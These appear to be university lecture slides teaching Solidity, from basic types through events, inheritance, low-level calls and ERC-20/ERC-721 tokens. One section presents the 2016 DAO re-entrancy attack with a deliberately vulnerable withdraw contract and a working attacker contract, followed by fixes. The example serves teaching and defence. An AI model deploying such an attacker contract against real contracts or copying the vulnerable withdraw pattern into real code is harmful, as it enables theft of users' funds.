

Solidity Tutorial

Saravanan Vijayakumaran

Department of Electrical Engineering
Indian Institute of Technology Bombay

March 6, 2026

Solidity

- A programming language for implementing smart contracts on Ethereum
- Statically typed with JavaScript-like syntax
- Example contract

```
pragma solidity >= 0.4.16 < 0.9.0;

contract SimpleStorage {
    uint storedData;

    function set(uint x) public {
        storedData = x;
    }

    function get() public view returns (uint) {
        return storedData;
    }
}
```

- `public` indicates that the function can be invoked using a transaction
- `view` indicates that the function does not change the world state

Variables

- Solidity has three types of variables
 - **Local**: Declared inside a function; not stored in world state
 - **State**: Declared outside a function; stored in world state
 - **Special**: Always exist in the global namespace; provide information about blocks or transactions
- Example

```
contract Variables {
    // State variable
    uint public num = 123;

    function doSomething() public {
        // Local variable
        uint i = 456;

        // Some special variables
        uint n = block.number; // Current block height
        address s = msg.sender; // Address of the caller
    }
}
```

- See Solidity docs for full list of special variables

Primitive Data Types

```
contract Primitives {  
  
    // Boolean type  
    bool public flag = true;  
  
    // uint stands for unsigned integer having 256 bits  
    uint public u = 123;  
  
    // int stands for signed integer having 256 bits  
    int public i = -123;  
  
    // Ethereum addresses are a primitive data type  
    address public addr = 0xCA35b7d915458EF540aDe60..2F4a73c;  
  
    // fixed-sized byte arrays of lengths 1 to 32 are  
    // available  
    bytes1 a = 0xb5;  
    bytes2 b = 0x5678;  
  
    // Strings  
    string s = "Hello World!";  
}
```

Constants and Immutables

- Constant variables cannot be modified

```
contract Constants {  
    // coding convention to uppercase constant variables  
    address public constant MY_ADDRESS = 0x77778888999...FFC0;  
    uint public constant MY_UINT = 123;  
}
```

- Using constants saves gas cost as they can be hardcoded
- Immutable variables can be initialized in the contract constructor and cannot be modified after that

```
contract Immutable {  
    address public immutable MY_ADDRESS;  
    uint public immutable MY_UINT;  
  
    constructor(uint _myUint) {  
        MY_ADDRESS = msg.sender;  
        MY_UINT = _myUint;  
    }  
}
```

- **Note:** A contract's constructor is called only during deployment

Mappings

- Mappings allow storing key-value pairs
- Created using syntax `mapping(keyType => valueType)`

```
1  contract Mapping {
2      // Mapping from address to uint
3      mapping(address => uint) public myMap;

5      function get(address _addr) public view returns (uint) {
6          // Mapping always returns a value.
7          // If the value was never set, it will return the
           default value.
8          return myMap[_addr];
9      }

11     function set(address _addr, uint _i) public {
12         // Update the value at this address
13         myMap[_addr] = _i;
14     }

16     function remove(address _addr) public {
17         // Reset the value to the default value.
18         delete myMap[_addr];
19     }
20 }
```

- `keyType` cannot be a reference type (arrays, structs, mappings)
- `valueType` can be any type including another mapping

Nested Mappings

```
1  contract NestedMapping {
2      // Nested mapping (mapping from address to another mapping)
3      mapping(address => mapping(uint => bool)) public nested;

5      function get(address _addr, uint _i) public view returns (bool) {
6          // You can get values from a nested mapping
7          // even when it is not initialized
8          return nested[_addr][_i];
9      }

11     function set(address _addr, uint _i, bool _boo) public {
12         nested[_addr][_i] = _boo;
13     }

15     function remove(address _addr, uint _i) public {
16         delete nested[_addr][_i];
17     }
18 }
```

- nested on line 3 is a nested mapping
- Values can be accessed by the syntax `nested[key1][key2]`

Arrays

- Arrays are created using syntax `type[]`
- Can have a size fixed at compile-time or dynamic size

```
contract Array {
  // Several ways to initialize an array
  uint[] public arr;
  uint[] public arr2 = [1, 2, 3];
  // Fixed sized array, all elements initialize to 0
  uint[10] public myFixedSizeArr;

  function get(uint i) public view returns (uint) {
    return arr[i];
  }

  function append(uint i) public {
    // Append to array
    arr.push(i);
  }

  function remove() public {
    // Remove last element from array
    arr.pop();
  }
}
```

Functions Inputs and Outputs

- Functions can return multiple values
- Mappings cannot be either input or output for public functions
- Arrays can be used for input or output

```
contract Function {
  function returnMany() public pure returns (uint, bool, uint) {
    return (1, true, 2);
  }

  // Can use array for input
  function arrayInput(uint[] memory _arr) public {
    // do something with _arr
  }

  uint[] public arr;

  // Can use array for output
  function arrayOutput() public view returns (uint[] memory) {
    return arr;
  }
}
```

- Aside: pure functions do not read or modify state
- The memory keyword specifies the memory location of arrays

Data Locations of Reference Types

- Arrays, mappings and structs are reference types
- Data locations can be `memory`, `storage`, `calldata`
- Data locations of reference types in function inputs/outputs are mandatory
- `calldata` is read-only and cheaper if it can be used

```
contract MemoryCalldata {
    function f1(uint[2] memory a) public pure returns (uint){
        return a[1]*2;
    }

    function f2(uint[2] calldata a) public pure returns (uint){
        return a[1]*2;
    }

    function f3(uint[2] memory a) public pure returns (uint[2] memory){
        return a;
    }

    function f4(uint[2] calldata a) public pure returns (uint[2] memory
    ){
        return a;
    }

    function f5(uint[2] calldata a) public pure returns (uint[2]
        calldata){
        return a;
    }
}
```

Structs

```
contract Todos {
  struct Todo {
    string text;
    bool completed;
  }

  // An array of 'Todo' structs
  Todo[] public todos;

  function create(string calldata _text) public {
    todos.push(Todo({text: _text, completed: false}));
  }

  function getTodoStruct(uint _index) public view returns (Todo
    memory) {
    Todo storage todo = todos[_index];
    return todo;
  }

  // update completed
  function toggleCompleted(uint _index) public {
    Todo storage todo = todos[_index];
    todo.completed = !todo.completed;
  }
}
```

Control Flow

- if-else

```
if (x < 10) {  
    return 0;  
} else if (x < 20) {  
    return 1;  
} else {  
    return 2;  
}
```

- for loop

```
for (uint i = 0; i < 10; i++) {  
    // loop body  
}
```

- while loop

```
uint j;  
while (j < 10) {  
    // loop body  
    j++;  
}
```

Events

```
contract Event {
    // Event declaration
    // Up to 3 parameters can be indexed.
    event Log(address indexed sender, string message);
    event AnotherLog();

    function test() public {
        emit Log(msg.sender, "Hello World!");
        emit Log(msg.sender, "Hello EVM!");
        emit AnotherLog();
    }
}
```

- Events allow applications to read only relevant transactions
- `indexed` parameters can be used to query for events where those parameters take specific values
- The contract address, event signature, and indexed parameters are used to set bits in the Bloom filter

Events Example

```
contract SimpleStorage {
  uint storedData;

  event Set(address indexed setter, uint value);

  function set(uint x) public {
    storedData = x;
    emit Set(msg.sender, x);
  }

  function get() public view returns (uint) {
    return storedData;
  }
}
```

- The `Set` event is emitted every time the `set` method is called
- To listen for the `Set` event, we need access to an Ethereum full node or an RPC provider
- The `ethers.js` library can be used to listen for event in Javascript applications

Listening for Events using ethers.js

```
1 import { AlchemyProvider, ethers } from "ethers";
2 import dotenv from "dotenv";

4 dotenv.config()

6 let provider = new ethers.AlchemyProvider("sepolia",
    process.env.API_KEY);

8 const ssAddress = "0x7b46bc148864eab01c7965b78ad13a674d750570"
9 let abi = [ /* elided */ ]; // Contract Application Binary Interface

11 const ssContract = new ethers.Contract(ssAddress, abi, provider);

13 ssContract.on("Set", (from, value, event) => {
14     console.log(`${ from } set ${value}`);
15 });
```

- This script uses Alchemy as the RPC provider with API key in the `.env` file
- The `abi` variable contains the contract's Application Binary Interface (public variables, methods, events)
- Line 11 initializes a connection to the contract via Alchemy's infrastructure
- Lines 13 to 15 create an event listener for the `Set` event

require and assert

- `require` is used to validate inputs and conditions before execution
- **Syntax** is `require(bool condition, string memory message)`

```
contract Account {
    uint public accBalance;

    function deposit(uint _amount) public {
        uint oldBalance = accBalance;
        uint newBalance = accBalance + _amount;

        // Check that accBalance + _amount does not overflow
        require(newBalance >= oldBalance, "Overflow");

        accBalance = newBalance;
    }
}
```

- `assert(bool condition)` can be used to check for code that should never be false
- Both of them abort execution and revert state changes if condition is false

Function Modifiers

- Function modifiers specify code that can run before or after a function

```
contract FunctionModifier {
    address public owner;

    constructor() {
        // Set the transaction sender as the owner of the contract
        owner = msg.sender;
    }

    // Modifier to check that the caller is the owner of
    // the contract.
    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        // Underscore tells Solidity to execute the rest of the
        // code.
        _;
    }

    function changeOwner(address _newOwner) public onlyOwner {
        owner = _newOwner;
    }
}
```

Inheritance

- Contracts can inherit from other contracts using the `is` keyword

```
contract A {
  function foo() public pure virtual returns (string memory) {
    return "A";
  }
}

contract B is A {
  // Override A.foo()
  function foo() public pure override returns (string memory) {
    return "B";
  }
}
```

- Functions marked `virtual` can be overridden by a child contract
- Child contract must mark the function with `override`

Multiple Inheritance

- Solidity supports multiple inheritance

```
contract B {
    function foo() public pure virtual returns (string memory) {
        return "B";
    }
}

contract C {
    function foo() public pure virtual returns (string memory) {
        return "C";
    }
}

contract D is B, C {
    // D.foo() returns "C"
    // since C is the right most parent contract with function foo()
    function foo() public pure override(B, C) returns (string memory) {
        return super.foo();
    }
}
```

- Parent contracts are searched from right to left
- Immediate parent contract functions can be accessed using `super`

Inherited State

- State variables cannot be overridden; they need to be re-initialized

```
contract A {
    string public name = "Contract A";

    function getName() public view returns (string memory) {
        return name;
    }
}

contract B is A {
    // Correct way to override inherited state variables.
    constructor() {
        name = "Contract B";
    }

    // B.getName() returns "Contract B"
}
```

Function Annotations

- Functions can be declared as
 - `public`: Can be called by contract or account
 - `private`: Can be called only inside contract that defines function
 - `internal`: Can be called inside contract that defines function and in its child contracts
 - `external`: Can be called by other contracts and accounts

```
contract Base {  
  function privateFunc() private pure returns (string memory) {  
    return "private function called";  
  }  
  
  function testPrivateFunc() public pure returns (string memory) {  
    return privateFunc();  
  }  
  
  function internalFunc() internal pure returns (string memory) {  
    return "internal function called";  
  }  
  
  function testInternalFunc() public pure returns (string memory) {  
    return internalFunc();  
  }  
}
```

Payable

- Functions and addresses declared payable can receive ether

```
contract Payable {
  // Payable address can send Ether via transfer or send
  address payable public owner;

  constructor() payable {
    owner = payable(msg.sender);
  }

  // Function to deposit Ether into this contract.
  // Call this function along with some Ether.
  // The balance of this contract will be automatically updated.
  function deposit() public payable {}

  // Function to withdraw all Ether from this contract.
  function withdraw() public {
    // get the amount of Ether stored in this contract
    uint amount = address(this).balance;

    // send all Ether to owner
    (bool success, ) = owner.call{value: amount}("");
    require(success, "Failed to send Ether");
  }
}
```

Calling Other Contracts

```
contract Callee {
    uint256 public x;

    function setX(uint256 _x) public returns (uint256) {
        x = _x;
        return x;
    }
}

contract Caller {
    function setXFromAddress(address _addr, uint256 _x) public {
        Callee callee = Callee(_addr);
        callee.setX(_x);
    }
}
```

- The `Caller` contract calls `setX` in the `Callee` contract
- This pattern requires the `Callee` contract type to be available in the scope of the `Caller` contract
 - `Callee` may undergo changes due to optimizations or new features
 - Any change to `Callee` will require a change to `Caller` (which requires a redeployment)
 - Interfaces or `call` can be used as workarounds

call

- `call` is a low-level function that can be used to call functions in other contracts
 - Useful when the source code of the other contract is not available in the current contract
 - The function signature needs to be known
- Syntax

```
<address>.call({
  value: ethAmount,
  gas: gasLimit,
})(abi.encodeWithSignature(functionSignature, arguments))
```

- `value` is the amount of ether to send to the contract
 - `gas` is maximum gas to use in the function call
 - `abi.encodeWithSignature` serializes the function signature and arguments into bytes
- Example:

```
// A call for function foo(string memory _message, uint256 _x)

(bool success, bytes memory data) = _addr.call({
  value: msg.value,
  gas: 5000
})(abi.encodeWithSignature("foo(string,uint256)", "hi", 123));
```

Interfaces

- Contracts can interact with other contracts by declaring interfaces
- Suppose the following contract is deployed

```
1  contract Counter {
2      uint256 public count; // accessible via count()
3
4      function increment() external {
5          count += 1;
6      }
7  }
```

- Methods of Counter can be called through an interface

```
1  interface ICounter {
2      function count() external view returns (uint256);
3
4      function increment() external;
5  }
6
7  contract MyContract {
8      function incrementCounter(address _counter) external {
9          ICounter(_counter).increment();
10     }
11
12     function getCount(address _counter) external view returns (
13         uint256) {
14         return ICounter(_counter).count();
15     }
16 }
```

Interfaces

- Syntax

```
interface InterfaceName {  
    function foo() external;  
    function bar() external;  
  
    event fooError();  
    event barError();  
  
    error fooError();  
    error barError();  
}
```

- Functions in an interface has only declarations
- No state variables can be declared
- All functions must be `external`
- Interfaces can inherit from other interfaces
- Examples
 - ERC-20 Token Standard
 - ERC-721: Non-Fungible Token Standard

receive and fallback

- When ether sent to a contract, it can get lost forever
- Contracts can define a `receive` function to move received ether to an EOA account
- `fallback` is a special function gets called when
 - A function that does not exist in the contract is called, or
 - Ether is sent directly to a contract but `receive` does not exist, or
 - Ether is sent directly to a contract, `receive` exists but `msg.data` is not empty

```
contract Fallback {
    address immutable target;

    constructor(address _target) {
        target = _target;
    }

    fallback(bytes calldata data) payable returns (bytes memory) {
        (_, bytes memory res) = target.call{value: msg.value}(data);
        return res;
    }
}
```

Re-Entrancy Attack

The DAO

- DAO = Decentralized Autonomous Organization
 - A smart contract for coordination
 - People deposit ether and get another token in return
 - The DAO token can be used for voting on proposals
- In 2016, a DAO collected 3.54 million ether (150 million USD) for investing on behalf of its token holders
- Less than 3 months after launch, a hacker began to drain the ETH from the DAO contract using a re-entrancy attack
- Ethereum was forked to fix the bug
 - Ethereum Classic is the chain where DAO funds were lost
- The DAO contract supported two main actions
 - Users can deposit ether into the contract
 - Users can withdraw deposited ether from the contract at a later time

DAO Contract (simplified)

```
1  contract Dao {
2    mapping(address => uint256) public balances;

4    function deposit() public payable {
5      require(msg.value >= 1 ether, "Deposit too small");
6      balances[msg.sender] += msg.value;
7    }

9    function withdraw() public {
10     // Check user's balance
11     require(
12       balances[msg.sender] >= 1 ether,
13       "Insufficient funds. Cannot withdraw"
14     );
15     uint256 bal = balances[msg.sender];

17     // Withdraw user's balance
18     (bool sent, ) = msg.sender.call{value: bal}("");
19     require(sent, "Failed to withdraw sender's balance");

21     // Update user's balance.
22     balances[msg.sender] = 0;
23   }
24 }
```

Attacker Contract

```
1 interface IDao {
2     function withdraw() external ;
3     function deposit ()external payable;
4 }

6 contract Hacker{
7     IDao dao;

9     constructor(address _dao){
10         dao = IDao(_dao);
11     }

13     function attack() public payable {
14         // Seed the Dao with at least 1 Ether.
15         require(msg.value >= 1 ether, "Need at least 1 ether.");
16         dao.deposit{value: msg.value} ();
17         // Withdraw from Dao.
18         dao.withdraw ();
19     }

21     fallback() external payable{
22         if(address(dao).balance >= 1 ether){
23             dao.withdraw ();
24         }
25     }
26 }
```

Fixing the Vulnerability

Reset user balance before transfer

```
1  Contract Dao {
2
3      function withdraw() public {
4          // Check user's balance
5          require(
6              balances[msg.sender] >= 1 ether,
7              "Insufficient funds. Cannot withdraw"
8          );
9          uint256 bal = balances[msg.sender];
10
11         // Update user's balance BEFORE sending ether
12         balances[msg.sender] = 0;
13
14         // Withdraw user's balance
15         (bool sent, ) = msg.sender.call{value: bal}("");
16         require(sent, "Failed to withdraw sender's balance");
17
18         // Update user's balance.
19         // balances[msg.sender] = 0;
20     }
21 }
```

Fixing the Vulnerability

Block re-entry using function modifiers

```
1  Contract Dao {
2      bool internal locked;

4      modifier noReentrancy() {
5          require(!locked, "No reentrancy");
6          locked = true;
7          _;
8          locked = false;
9      }

11     function withdraw() public noReentrancy {

13         // withdraw logic goes here

15     }
16 }
```

Token Contracts

ERC-20 Token Standard

- A standard interface for creating tokens on Ethereum
 - <https://eips.ethereum.org/EIPS/eip-20>
- Anyone can create a token using minimal code

```
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract EE465Token is ERC20 {
    uint constant _initial_supply = 100 * (10**18);

    /* ERC 20 constructor takes in two strings:
    1. The name of your token name
    2. A symbol for your token
    */
    constructor() ERC20("EE465 Token", "CBT") {
        _mint(msg.sender, _initial_supply);
    }
}
```

- OpenZeppelin has open source implementations of token standards

ERC20 Interface

```
1 interface IERC20 {
2     event Transfer(address indexed from, address indexed to,
3         uint256 value);
4     event Approval(address indexed owner, address indexed spender,
5         uint256 value);
6
7     function totalSupply() external view returns (uint256);
8
9     function balanceOf(address account) external view
10         returns (uint256);
11
12     function transfer(address to, uint256 value) external
13         returns (bool);
14
15     function allowance(address owner, address spender) external view
16         returns (uint256);
17
18     function approve(address spender, uint256 value) external
19         returns (bool);
20
21     function transferFrom(address from, address to, uint256 value)
22         external returns (bool);
23 }
```

ERC20 Implementation (Partial)

- Storage Variables

```
contract ERC20 is IERC20 {
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance
        ;
    string public name;
    string public symbol;

    // Continued
}
```

- Constructor

```
constructor(string memory _name, string memory _symbol) {
    name = _name;
    symbol = _symbol;
}
```

- Minting tokens

```
function _mint(address to, uint256 amount) internal {
    balanceOf[to] += amount;
    totalSupply += amount;
    emit Transfer(address(0), to, amount);
}
```

- `_mint` can be used to set the initial supply

ERC20 Implementation (Partial)

- Transfer tokens

```
function transfer(address recipient, uint256 amount) external
    returns (bool)
{
    require(balanceOf[msg.sender] >= amount, "Error");
    balanceOf[msg.sender] -= amount;
    balanceOf[recipient] += amount;
    emit Transfer(msg.sender, recipient, amount);
    return true;
}
```

- Allowing other addressed to transfer tokens

```
function approve(address spender, uint256 amount) external
    returns (bool) {
    allowance[msg.sender][spender] = amount;
    emit Approval(msg.sender, spender, amount);
    return true;
}

function transferFrom(address sender, address recipient, uint256
    amount) external returns (bool)
{
    require(allowance[sender][msg.sender] >= amount, "Error");
    allowance[sender][msg.sender] -= amount;
    balanceOf[sender] -= amount;
    balanceOf[recipient] += amount;
    emit Transfer(sender, recipient, amount);
    return true;
}
```

Non-Fungible Tokens

- ERC-721: Non-Fungible Token Standard
- Example impl: <https://solidity-by-example.org/app/erc721/>
- NFTs are simply counters in a ERC721 contract

```
contract ERC721 is IERC721 {
    // Mapping from token ID to owner address
    mapping(uint256 => address) internal _ownerOf;

    function _mint(address to, uint256 id) internal {
        require(to != address(0), "mint to zero address");
        require(_ownerOf[id] == address(0), "already minted");

        _balanceOf[to]++;
        _ownerOf[id] = to;

        emit Transfer(address(0), to, id);
    }
}
```

- NFT images are not stored in the contract; only links stored

```
interface ERC721Metadata {
    function name() external view returns (string _name);
    function symbol() external view returns (string _symbol);
    // The URI typically points to a JSON file containing metadata
    function tokenURI(uint256 _tokenId) external view returns (
        string);
}
```

References

- **Solidity Documentation** <https://docs.soliditylang.org/>
- **Solidity by Example** <https://solidity-by-example.org/>
- **Remix IDE** <https://remix.ethereum.org>
- **Events documentation** <https://docs.soliditylang.org/en/latest/contracts.html#events>
- **ABI spec**
<https://docs.soliditylang.org/en/latest/abi-spec.html>
- **ethers.js documentation** <https://docs.ethers.org/v6/>
- **Re-entrancy attack**
- **ERC-20 Token Standard**
- **ERC-721: Non-Fungible Token Standard**